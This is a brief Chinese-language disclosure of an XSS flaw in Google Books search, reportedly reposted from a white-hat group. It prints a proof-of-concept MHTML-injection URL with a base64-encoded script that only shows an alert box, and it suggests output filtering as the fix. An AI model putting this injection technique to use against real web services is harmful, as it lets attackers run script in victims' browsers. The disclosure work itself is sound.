GOOGLE BOOK的搜索输出存在漏洞,可以通过MHTML协议注入脚本代码运行,导致一个XSS漏洞。非原创,转发自白帽子群system32总。

详细说明:

漏洞证明:

mhtml:?q=x%250AContent-Type%253Amultipart%252frelated%253Bboundary%253Dx--x%250AContent-Location%253Aajax%250AContent-Transfer-Encoding%253Abase64%250d%250a%250d%250aPHNjcmlwdD5hbGVydCgib2siKTs8L3NjcmlwdD4%253D--x%250A!ajax

XP下IE打开~

修复方案:

这个相对于正常应用比较麻烦,过滤特定输出内容的格式吧。